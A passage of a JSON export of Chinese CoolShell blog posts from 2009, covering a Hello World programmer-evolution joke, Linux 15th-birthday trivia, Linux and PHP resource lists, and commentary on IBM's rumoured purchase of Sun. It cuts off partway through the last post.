    "content": "---\nlayout: post\ntitle: 幽默：程序员的进化\ndate: 2009/3/14/ 9:26:27\nupdated: 2009/3/14/ 9:26:27\nstatus: publish\npublished: true\ntype: post\n---\n\n**高中时期**\n\n\n\n```\n\n  10 PRINT \"HELLO WORLD\"\n  20 END\n\n```\n\n**大学新生**\n\n\n\n```\n\n  program Hello(input, output)\n    begin\n      writeln(\\'Hello World\\')\n    end.\n\n```\n\n  \n\n**高年级大学生**\n\n\n\n```\n\n#include \n \nint main(void)\n{\n   printf(\"Hello, world!\\\\n\");\n   return 0;\n}\n\n```\n\n**职业新手**\n\n\n\n```\n\n  #include \n  void main(void)\n  {\n    char *message[] = {\"Hello \", \"World\"};\n    int i;\n \n    for(i = 0; i < 2; ++i)\n      printf(\"%s\", message[i]);\n    printf(\"\\\\n\");\n  }\n\n```\n\n职业老手\n\n\n\n```\n\n  #include \n  #include \n using namespace std;\n\n  class string\n  {\n  private:\n    int size;\n    char *ptr;\n \n  string() : size(0), ptr(new char[1]) { ptr[0] = 0; }\n \n    string(const string &s) : size(s.size)\n    {\n      ptr = new char[size + 1];\n      strcpy(ptr, s.ptr);\n    }\n \n    ~string()\n    {\n      delete [] ptr;\n    }\n \n    friend ostream &operator <<(ostream &, const string &);\n    string &operator=(const char *);\n  };\n \n  ostream &operator<<(ostream &stream, const string &s)\n  {\n    return(stream << s.ptr);\n  }\n \n  string &string::operator=(const char *chrs)\n  {\n    if (this != &chrs)\n    {\n      delete [] ptr;\n     size = strlen(chrs);\n      ptr = new char[size + 1];\n      strcpy(ptr, chrs);\n    }\n    return(*this);\n  }\n \n  int main()\n  {\n    string str;\n \n    str = \"Hello World\";\n    cout << str << endl;\n \n    return(0);\n  }\n\n```\n\n**大师级**\n\n\n\n```\n\n  [\n  uuid(2573F8F4-CFEE-101A-9A9F-00AA00342820)\n  ]\n  library LHello\n  {\n      // bring in the master library\n      importlib(\"actimp.tlb\");\n      importlib(\"actexp.tlb\");\n \n      // bring in my interfaces\n      #include \"pshlo.idl\"\n \n      [\n      uuid(2573F8F5-CFEE-101A-9A9F-00AA00342820)\n      ]\n      cotype THello\n   {\n   interface IHello;\n   interface IPersistFile;\n   };\n  };\n \n  [\n  exe,\n  uuid(2573F890-CFEE-101A-9A9F-00AA00342820)\n  ]\n  module CHelloLib\n  {\n \n      // some code related header files\n      importheader();\n      importheader();\n      importheader();\n      importheader(\"pshlo.h\");\n      importheader(\"shlo.hxx\");\n      importheader(\"mycls.hxx\");\n \n      // needed typelibs\n      importlib(\"actimp.tlb\");\n      importlib(\"actexp.tlb\");\n      importlib(\"thlo.tlb\");\n \n      [\n      uuid(2573F891-CFEE-101A-9A9F-00AA00342820),\n      aggregatable\n      ]\n      coclass CHello\n   {\n   cotype THello;\n   };\n  };\n \n \n  #include \"ipfix.hxx\"\n \n  extern HANDLE hEvent;\n \n  class CHello : public CHelloBase\n  {\n  public:\n      IPFIX(CLSID_CHello);\n \n      CHello(IUnknown *pUnk);\n      ~CHello();\n \n      HRESULT  __stdcall PrintSz(LPWSTR pwszString);\n \n  private:\n      static int cObjRef;\n  };\n \n \n  #include \n  #include \n  #include \n  #include \n  #include \"thlo.h\"\n  #include \"pshlo.h\"\n  #include \"shlo.hxx\"\n  #include \"mycls.hxx\"\n \n  int CHello::cObjRef = 0;\n \n  CHello::CHello(IUnknown *pUnk) : CHelloBase(pUnk)\n  {\n      cObjRef++;\n      return;\n  }\n \n  HRESULT  __stdcall  CHello::PrintSz(LPWSTR pwszString)\n  {\n      printf(\"%ws\n\", pwszString);\n      return(ResultFromScode(S_OK));\n  }\n \n \n  CHello::~CHello(void)\n  {\n \n  // when the object count goes to zero, stop the server\n  cObjRef--;\n  if( cObjRef == 0 )\n      PulseEvent(hEvent);\n \n  return;\n  }\n \n  #include \n  #include \n  #include \"pshlo.h\"\n  #include \"shlo.hxx\"\n  #include \"mycls.hxx\"\n \n  HANDLE hEvent;\n \n   int _cdecl main(\n  int argc,\n  char * argv[]\n  ) {\n  ULONG ulRef;\n  DWORD dwRegistration;\n  CHelloCF *pCF = new CHelloCF();\n \n  hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\n \n  // Initialize the OLE libraries\n  CoInitializeEx(NULL, COINIT_MULTITHREADED);\n \n  CoRegisterClassObject(CLSID_CHello, pCF, CLSCTX_LOCAL_SERVER,\n      REGCLS_MULTIPLEUSE, &dwRegistration);\n \n  // wait on an event to stop\n  WaitForSingleObject(hEvent, INFINITE);\n \n  // revoke and release the class object\n  CoRevokeClassObject(dwRegistration);\n  ulRef = pCF->Release();\n \n  // Tell OLE we are going away.\n  CoUninitialize();\n \n  return(0); }\n \n  extern CLSID CLSID_CHello;\n  extern UUID LIBID_CHelloLib;\n \n  CLSID CLSID_CHello = { /* 2573F891-CFEE-101A-9A9F-00AA00342820 */\n      0x2573F891,\n      0xCFEE,\n      0x101A,\n      { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }\n  };\n \n  UUID LIBID_CHelloLib = { /* 2573F890-CFEE-101A-9A9F-00AA00342820 */\n      0x2573F890,\n      0xCFEE,\n      0x101A,\n      { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }\n  };\n \n  #include \n  #include \n  #include \n  #include \n  #include \n  #include \"pshlo.h\"\n  #include \"shlo.hxx\"\n  #include \"clsid.h\"\n \n  int _cdecl main(\n  int argc,\n  char * argv[]\n  ) {\n  HRESULT  hRslt;\n  IHello        *pHello;\n  ULONG  ulCnt;\n  IMoniker * pmk;\n  WCHAR  wcsT[_MAX_PATH];\n  WCHAR  wcsPath[2 * _MAX_PATH];\n \n  // get object path\n  wcsPath[0] = \\'\\\\0\\';\n  wcsT[0] = \\'\\\\0\\';\n  if( argc > 1) {\n      mbstowcs(wcsPath, argv[1], strlen(argv[1]) + 1);\n      wcsupr(wcsPath);\n      }\n  else {\n      fprintf(stderr, \"Object path must be specified\\\\n\");\n      return(1);\n      }\n \n  // get print string\n  if(argc > 2)\n      mbstowcs(wcsT, argv[2], strlen(argv[2]) + 1);\n  else\n      wcscpy(wcsT, L\"Hello World\");\n \n  printf(\"Linking to object %ws\\\\n\", wcsPath);\n  printf(\"Text String %ws\\\\n\", wcsT);\n \n  // Initialize the OLE libraries\n  hRslt = CoInitializeEx(NULL, COINIT_MULTITHREADED);\n \n  if(SUCCEEDED(hRslt)) {\n \n \n      hRslt = CreateFileMoniker(wcsPath, &pmk);\n      if(SUCCEEDED(hRslt))\n   hRslt = BindMoniker(pmk, 0, IID_IHello, (void **)&pHello);\n \n      if(SUCCEEDED(hRslt)) {\n \n   // print a string out\n   pHello->PrintSz(wcsT);\n \n   Sleep(2000);\n   ulCnt = pHello->Release();\n   }\n      else\n   printf(\"Failure to connect, status: %lx\", hRslt);\n \n      // Tell OLE we are going away.\n      CoUninitialize();\n      }\n \n  return(0);\n  }\n\n```\n\n**黑客学徒**\n\n\n\n```\n\n  #!/usr/local/bin/perl\n  $msg=\"Hello, world.\\\\n\";\n  if ($#ARGV >= 0) {\n    while(defined($arg=shift(@ARGV))) {\n      $outfilename = $arg;\n      open(FILE, \">\" . $outfilename) || die \"Can\\'t write $arg: $!\\\\n\";\n      print (FILE $msg);\n      close(FILE) || die \"Can\\'t close $arg: $!\\\\n\";\n    }\n  } else {\n    print ($msg);\n  }\n  1;\n\n```\n\n**有经验的黑客**\n\n\n\n```\n\n  #include \n  #define S \"Hello, World\\\\n\"\n  main(){exit(printf(S) == strlen(S) ? 0 : 1);}\n\n```\n\n**老练的黑客**\n\n\n\n```\n\n  % cc -o a.out ~/src/misc/hw/hw.c\n  % a.out\n\n```\n\n**超级黑客**\n\n\n\n```\n\n  % echo \"Hello, world.\"\n\n```\n\n**一线经理**\n\n\n\n```\n\n  10 PRINT \"HELLO WORLD\"\n  20 END\n\n```\n\n**中层经理**\n\n\n\n```\n\n  mail -s \"Hello, world.\" bob@b12\n  Bob, could you please write me a program that prints \"Hello, world.\"?\n  I need it by tomorrow.\n  ^D\n\n```\n\n**高级经理**\n\n\n\n```\n\n  % zmail jim\n  I need a \"Hello, world.\" program by this afternoon.\n\n```\n\n**首席执行官**\n\n\n\n```\n\n  % letter\n  letter: Command not found.\n  % mail\n  To: ^X ^F ^C\n  % help mail\n  help: Command not found.\n  % damn!\n  !: Event unrecognized\n  % logout\n\n```\n\n来源：未知\n\n\n关于更多的“hello world”请参看：《[Hello World 集中营](https://coolshell.cn/articles/169.html)》  \n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 - CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [幽默：程序员的进化](https://coolshell.cn/articles/172.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-15 Linux的15岁生日.md",
    "content": "---\nlayout: post\ntitle: Linux的15岁生日\ndate: 2009/3/15/ 3:47:51\nupdated: 2009/3/15/ 3:47:51\nstatus: publish\npublished: true\ntype: post\n---\n\n今年是Linux的15生日，15年前，1994年3月， Linux kernel 版本1.0.0  released。这几天，全世界很多站点都在发布Blog庆祝Linux的15岁生日，而这篇文章是其中的一篇关于 Linux kernel 的，如果你是Linux的粉丝，希望你能喜欢。\n\n\n[![mask-linus_torvalds](../wp-content/uploads/2009/03/mask-linus_torvalds-150x150.jpg \"mask-linus_torvalds\")](https://coolshell.cn/wp-content/uploads/2009/03/mask-linus_torvalds.jpg)1. Linux是由一个芬兰的仅有21岁的大学生因为兴趣而产生的。\n\n\n2. 为表扬他的突出贡献，有一颗小行星以他的名字命名。<http://en.wikipedia.org/wiki/9793_Torvalds>。\n\n\n3. 有上千个开发人员和程序员从世界的各个角落汇聚在一起，他们不停地开发Linux Kernel。\n\n\n4. Linux kernel的官方吉祥物是一只小企鹅，叫做Tux.\n\n\n5. 欧盟研究基金调查表明，Linux最新内核的评估价格在1.14亿美金。\n\n\n\n6. 今天，Linux内核中只有2%的程序由 [Linus Torvalds](http://en.wikipedia.org/wiki/Linus_Torvalds)开发。\n\n\n7. Linux内核是由C语语开发。\n\n\n8. 今天Linux 是一个移值最广泛的操作系统内核，他可以运行在许多不同范围的系统上，包括PC，大型主机，嵌入式等等。\n\n\n9. Linux kernel 版本1.0.0 一共有 176,250 行代码，而最新的 Linux kernel 有超过一千万行代码。下面是版本2的代码行列表。\n\n\n- 1999年1月25日 – Linux 2.2.0 was released (1,800,847 代码行).\n\n- 2001年1月4日 – Linux 2.4.0 was released (3,377,902 代码行).\n\n- 2003年12月17日 – Linux 2.6.0 was released (5,929,913 代码行).\n\n- 2008年12月24日 – Linux 2.6.28 was released (10,195,402 代码行).10. 使用一个软件，你可以让Microsoft Windows 和Linux kernel 可以同时的运行在同一台机器上，这个软件叫 [Cooperative Linux](http://www.colinux.org/) (coLinux).\n11. 起初, Torvalds 想把这个内核叫做Freax (这个单词合并了 “free”和”freak”，并且使用 X 字母来表明这是一个 Unix-like 的东西)，但他的一个朋友Ari Lemmke，这是一个FTP的管理员，在第一次把Linux的内核放在FTP上供人下载时，他把这个目录命名成了 linux。\n\n\n12. 一个叫William Della Croce的人注册了Linux商标，但最终他同意把这个商标还给了 Torvalds。\n\n\n13. 今天，全世界500个超级计算机中有超过87%的系统使用了Linux内核。\n\n\n14. 术语”vanilla kernel” 不是一种冰激凌，而是一个未更改过的Linux内核。\n\n15. 目前的Linux内核使用了如下技术： [真正的抢先式多任务](http://en.wikipedia.org/wiki/Computer_multitasking#Preemptive_multitasking.2Ftime-sharing \"Computer multitasking\") ( [用户模式](http://en.wikipedia.org/wiki/User_mode \"User mode\") and [内核模式](http://en.wikipedia.org/wiki/Kernel_mode \"Kernel mode\"))， [虚拟内存](http://en.wikipedia.org/wiki/Virtual_memory \"Virtual memory\"), [动态链接库](http://en.wikipedia.org/wiki/Library_%28computer_science%29 \"Library (computer science)\")，[demand loading](http://en.wikipedia.org/wiki/Demand_paging \"Demand paging\"), 共享式的[写时拷贝](http://en.wikipedia.org/wiki/Copy-on-write \"Copy-on-write\") , [内存管理](http://en.wikipedia.org/wiki/Memory_management \"Memory management\"), [Internet 协议包](http://en.wikipedia.org/wiki/Internet_protocol_suite), 和 [线程](http://en.wikipedia.org/wiki/Thread_%28computer_science%29 \"Thread (computer science)\").\n\n\n \n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [Linux的15岁生日](https://coolshell.cn/articles/189.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-16 Linux 相关的资源站makelinux.net.md",
    "content": "---\nlayout: post\ntitle: Linux 相关的资源站makelinux.net\ndate: 2009/3/16/ 14:51:47\nupdated: 2009/3/16/ 14:51:47\nstatus: publish\npublished: true\ntype: post\n---\n\n[![makelinux](../wp-content/uploads/2009/03/makelinux.jpg \"makelinux\")](https://coolshell.cn/wp-content/uploads/2009/03/makelinux.jpg)关于Linux相关的资源大家可以到<http://www.makelinux.net/>访问相关的文章，很不错的一个和linux内核相关的资源网站，当然，你可能因为种种原因不能访问这个网上的一些资源，那么你可能需要使用代理服务器或是一个叫Tor的软件，关于后者，请参看这篇文章[《如何上网觅无踪](https://coolshell.cn/articles/25.html)》\n\n\n下面是makelinux上的资源列表，都非常不错。\n\n\n\n**Resources on the site**• [Interactive map of GNU/Linux OS and FOSS](http://www.makelinux.net/system)  \n\n• [“GNU/Linux is my home”](http://www.makelinux.net/home) – map of GNU/Linux system  \n\n• [Interactive map of Linux kernel](http://www.makelinux.net/kernel_map)  \n\n• [Linux inside](http://www.makelinux.net/inside)  \n\n• [Linux Technology Reference](http://www.makelinux.net/reference) ([single page view](http://www.makelinux.net/reference.d/linksframe.shtml?w=full))  \n\n• [Linux kernel diagram](http://www.makelinux.net/kernel/diagram)  \n\n• [Linux Device Drivers, 3rd Edition](http://www.makelinux.net/ldd3/)  \n\n• [Advanced Linux Programming](http://www.makelinux.net/alp)  \n\n• [Managing Projects with GNU make](http://www.makelinux.net/make3)  \n\n• [1000 Hacker Tutorials 2008](http://www.makelinux.net/books/1000%20Hacker%20Tutorials%202008)  \n\n• [Introduction to Linux](http://www.makelinux.net/books/intro-linux)  \n\n• [Bash Guide for Beginners](http://www.makelinux.net/books/Bash-Beginners-Guide)  \n\n• [Advanced Bash-Scripting Guide](http://www.makelinux.net/books/abs-guide)  \n\n• [GNU/Linux Command-Line Tools Summary](http://www.makelinux.net/books/GNU-Linux-Tools-Summary)  \n\n• [Linux Filesystem Hierarchy](http://www.makelinux.net/books/Linux-Filesystem-Hierarchy)  \n\n• [The Linux Kernel Module Programming Guide](http://www.makelinux.net/books/lkmpg)  \n\n• [The Linux System Administrator\\’s Guide](http://www.makelinux.net/books/sag)  \n\n• [Linux Network Administrators Guide](http://www.makelinux.net/books/nag2)  \n\n• [Autobook: GNU Autoconf, Automake, and Libtool](http://www.makelinux.net/books/autobook-1.5/autobook.html) [src](http://sources.redhat.com/autobook/download.html)  \n\n**Linux related products**• [Linux kernel poster](http://www.makelinux.net/kernel_map_poster)  \n\n• [Linux Quick Guide](http://www.javvin.com/product_info.php?ref=41&products_id=136&affiliate_banner_id=50)  \n\n• [Unix like Operating Systems Map](http://www.javvin.com/product_info.php?ref=41&products_id=142&affiliate_banner_id=48)  \n\n• [Unix Quick Guide](http://www.javvin.com/product_info.php?ref=41&products_id=134&affiliate_banner_id=49)  \n\n**Other products**• [Computer Operating System Map](http://www.javvin.com/product_info.php?ref=41&products_id=124&affiliate_banner_id=43)  \n\n• [Wi-Fi Quick Guide](http://www.javvin.com/product_info.php?ref=41&products_id=118&affiliate_banner_id=42)  \n\n• [Wireless Communication Technology Map](http://www.javvin.com/product_info.php?ref=41&products_id=68&affiliate_banner_id=15)  \n\n• [VOIP Quick Guide](http://www.javvin.com/product_info.php?ref=41&products_id=120&affiliate_banner_id=41)  \n\n• [Network Protocol Map](http://www.javvin.com/product_info.php?ref=41&products_id=69&affiliate_banner_id=14)  \n\n• [TCP/IP Quick Guide](http://www.javvin.com/product_info.php?ref=41&products_id=65&affiliate_banner_id=13)  \n\n• [Network Security Map](http://www.javvin.com/product_info.php?ref=41&products_id=70&affiliate_banner_id=12)  \n\n• [Network Protocols Handbook](http://www.javvin.com/product_info.php?ref=41&products_id=63&affiliate_banner_id=11)  \n\n• [Network Management Architecture and Technology Map](http://www.javvin.com/product_info.php?ref=41&products_id=113&affiliate_banner_id=9)  \n\n• [Network Dictionary](http://www.javvin.com/product_info.php?ref=41&products_id=79&affiliate_banner_id=7)  \n\n• [IPv6 Deployment Guide](http://www.javvin.com/product_info.php?ref=41&products_id=133&affiliate_banner_id=56)  \n\n• [Ethernet Quick Guide](http://www.javvin.com/product_info.php?ref=41&products_id=67&affiliate_banner_id=5)  \n\n• [3G Wireless Tech Quick Guide](http://www.javvin.com/product_info.php?ref=41&products_id=77&affiliate_banner_id=44)  \n\n**Other**:  \n\n• [Business proposal to production of ointment for treatment skin diseases](http://www.makelinux.net/biotech)  \n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [Linux 相关的资源站makelinux.net](https://coolshell.cn/articles/194.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-18 20 你应该知道的PHP库.md",
    "content": "---\nlayout: post\ntitle: 20 你应该知道的PHP库\ndate: 2009/3/18/ 13:1:8\nupdated: 2009/3/18/ 13:1:8\nstatus: publish\npublished: true\ntype: post\n---\n\n\n下面是一些非常有用的PHP类库，相信一定可以为你的WEB开发提供更好和更为快速的方法。\n\n\n### 图表库[021151lephpant-e_png](https://coolshell.cn/wp-content/uploads/2009/03/021151lephpant-e_png.jpg)\n\n\n下面的类库可以让你很简的创建复杂的图表和图片。当然，它们需要GD库的支持。\n\n\n\n1. [pChart](http://pchart.sourceforge.net/ \"pChart\") – 一个可以创建统计图的库。\n2. [Libchart](http://naku.dohcrew.com/libchart/pages/introduction/ \"Libchart\") – 这也是一个简单的统计图库。\n3. [JpGraph](http://www.aditus.nu/jpgraph/ \"JpGraph\") – 一个面向对象的图片创建类。\n4. [Open Flash Chart](http://teethgrinder.co.uk/open-flash-chart/ \"Open Flash Chart\") – 这是一个基于Flash的统计图。\n\n\n\n \n\n\n### RSS 解析\n\n\n解释RSS并是一件很单调的事情，不过幸好你有下面的类库可以帮助你方便地读取RSS的Feed。\n\n\n1. [MagpieRSS](http://magpierss.sourceforge.net/ \"MagpieRSS\") – 开源的PHP版RSS解析器，据说功能强大，未验证。\n2. [SimplePie](http://simplepie.org/ \"SimplePie\") – 这是一个非常快速，而且易用的RSS和Atom 解析库。\n\n\n### 缩略图生成\n\n\n1. [phpThumb](http://phpthumb.sourceforge.net/ \" phpThumb\") – 功能很强大，如何强大还是自己去体会吧。\n\n\n### 支付\n\n\n你的网站需要处理支付方面的事情？需要一个和支付网关的程序？下面这个程序可以帮到你。\n\n\n1. [PHP Payment Library](http://www.phpfour.com/blog/2009/02/php-payment-gateway-library-for-paypal-authorizenet-and-2checkout/ \"PHP Payment Library\") – 支持Paypal, Authorize.net 和2Checkout (2CO)\n\n\n### OpenID\n\n\n1. [PHP-OpenID](http://www.openidenabled.com/php-openid/ \"PHP-OpenID\") – 支持OpenID的一个PHP库。OpenID是帮助你使用相同的用户名和口令登录不同的网站的一种解决方案。如果你对OpenID不熟悉的话，你可以到这里看看：<http://openid.net.cn/>\n\n\n### 数据为抽象/对象关系映射ORM\n\n\n1. [ADOdb](http://adodb.sourceforge.net/ \"ADOdb\") – 数据库抽象\n2. [Doctrine](http://www.doctrine-project.org/ \"Doctrine\") – 对象关系映射Object relational mapper (ORM) ，需要 PHP 5.2.3+ 版本，一个非常强大的database abstraction layer (DBAL).\n3. [Propel](http://propel.phpdb.org/trac/ \"Propel\") – 对象关系映射框架- PHP5\n4. [Outlet](http://www.outlet-orm.org/site/ \"Outlet\") – 也是关于对象关系映射的一个工具。\n\n\n注：对象关系映射（Object Relational Mapping，简称ORM）是一种为了解决面向对象与关系数据库存在的互不匹配的现象的技术。 简单的说，ORM是通过使用描述对象和数据库之间映射的元数据，将程序中的对象自动持久化到关系数据库中。本质上就是将数据从一种形式转换到另外一种形式。 这也同时暗示者额外的执行开销；然而，如果ORM作为一种中间件实现，则会有很多机会做优化，而这些在手写的持久层并不存在。 更重要的是用于控制转换的元数据需要提供和管理；但是同样，这些花费要比维护手写的方案要少；而且就算是遵守ODMG规范的对象数据库依然需要类级别的元数据。\n\n\n### PDF 生成器\n\n\n1. [FPDF](http://www.fpdf.org/ \"FPDF\") – 这量一个可以让你生成PDF的纯PHP类库。\n\n\n### Excel 相关\n\n\n你的站点需要生成Excel？没有问题，下面这两个类库可以让你轻松做到这一点。\n\n\n\n1. [php-excel](http://code.google.com/p/php-excel/ \"php-excel\") – 这是一个非常简单的Excel文件生成类。\n2. [PHP Excel Reader](http://code.google.com/p/php-excel-reader/ \"PHP Excel Reader\") – 可以解析并读取XLS文件中的数据。\n\n\n\n### E-Mail 相关\n\n\n不喜欢PHP的mail函数？觉得不够强大？下面的PHP邮件相关的库绝对不会让你失望。\n\n\n\n1. [Swift Mailer](http://swiftmailer.org/ \"Swift Mailer\") – 免费的超多功能的PHP邮件库。\n2. [PHPMailer](http://phpmailer.codeworxtech.com/ \"PHPMailer\") – 超强大的邮件发送类。\n\n\n### 单元测试\n\n\n如果你在使用测试驱动的方法开发你的程序，下面的类库和框架绝你能帮助你的开发。\n\n\n1. [SimpleTest](http://www.simpletest.org/ \"SimpleTest\") – 一个PHP的单元测试和网页测试的框架。\n2. [PHPUnit](http://www.phpunit.de/ \"PHPUnit\") – 来自xUnit 家族，提供一个框架可以让你方便地进行单元测试的案例开发。并可非常容易地分析其测试结果。\n\n\n文章：[来源](http://komunitasweb.com/2009/03/20-great-php-library-you-need-to-know/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![PHP分页技术的代码和示例](../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg)](https://coolshell.cn/articles/5160.html)[PHP分页技术的代码和示例](https://coolshell.cn/articles/5160.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2394.html)[九个PHP很有用的功能](https://coolshell.cn/articles/2394.html)\nThe post [20 你应该知道的PHP库](https://coolshell.cn/articles/200.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-18 IBM收购Sun，这是一种什么样的精神？.md",
    "content": "---\nlayout: post\ntitle: IBM收购Sun，这是一种什么样的精神？\ndate: 2009/3/18/ 16:10:42\nupdated: 2009/3/18/ 16:10:42\nstatus: publish\npublished: true\ntype: post\n---\n\n[![OFRIN-IBM-SUN-MICROSYSTEMS-20090318](../wp-content/uploads/2009/03/ibm-potentially-buying-sun-203x300.jpg \"OFRIN-IBM-SUN-MICROSYSTEMS-20090318\")](https://coolshell.cn/wp-content/uploads/2009/03/ibm-potentially-buying-sun.jpg)《华尔街日报》3月18日报导有消息说IBM要以65亿美金收购Sun（[原文](http://online.wsj.com/article/SB123735970806267921.html)），虽然消息未经证实，但已引起轩然大波。据[Business Joural](http://sanjose.bizjournals.com/sanjose/stories/2009/03/16/daily38.html)报道，周二，Sun的股票一下子涨了68%，从之前$4.97一下涨到了$8.36，但IBM的股价下跌4%到了$89.46。\n\n\n而网上的博主们都在狂写评论文章了。有持支持态度的，这篇[博文](http://www.electronista.com/articles/09/03/18/ibm.may.buy.sun/)表明IBM和Sun都是喜欢开源（Linux 和OpenSolaris）以及跨平台的（Linux和Java）的，所以他们的合并可能更好的对抗微软和intel的x86平台，应该太有作为。还有这篇[博文](http://blog.internetnews.com/skerner/2009/03/ibm-sun-acquisition-good-for-u.html)则对比了HP收购Compaq(DEC)的案例，说明这样的合并可能更为容易和HP对抗。\n\n\n当然，也有不认可以文章，比如ZNet上的这篇[文章](http://blogs.zdnet.com/Gardner/?p=2857)，作者觉得这根本就不可能，因为IBM和Sun有太多的重合了，很多方面都有存在很强的竞争，IBM要买来一点用都没有，要芯片技术吗？要操作系统吗？要数据库吗？要Java吗？更不可能。文中说，如果IBM想把Sun干掉，那么用65亿美金就太贵了，在这个寒冬，应该不用这种价格，除非这则新闻另有别的用意……\n\n\n不过，最有意思的评论是[**这篇**](http://www.thevarguy.com/2009/03/18/ibm-targeting-sun-for-takeover-linux-mysql-potential-winners/)，简直是太精彩了，我忍不住想把之翻译在这里：\n\n\n\n——————————————————————————\n\n\n有报道说IBM准备使用至少65亿美金收购Sun Microsystems公司。如果这个交易发生的话，那么，难道这意味着 Solaris, SPARC, MySQL 和其它技术的会和IBM的核心产品重迭在一起？是否HP也会给Sun打个电话然后再给个价格呢？本人在此对于这个潜在的收购案给出四个预言。当然，Linux肯定是主宰了整个谈判。\n\n\n基本上来说，本人并不是一个大型IT公司并购的Fans，因为你只要查看一下历史上的股票估价，你就会发现绝大多数的并购并不能像实际所说的那样。 (比如: 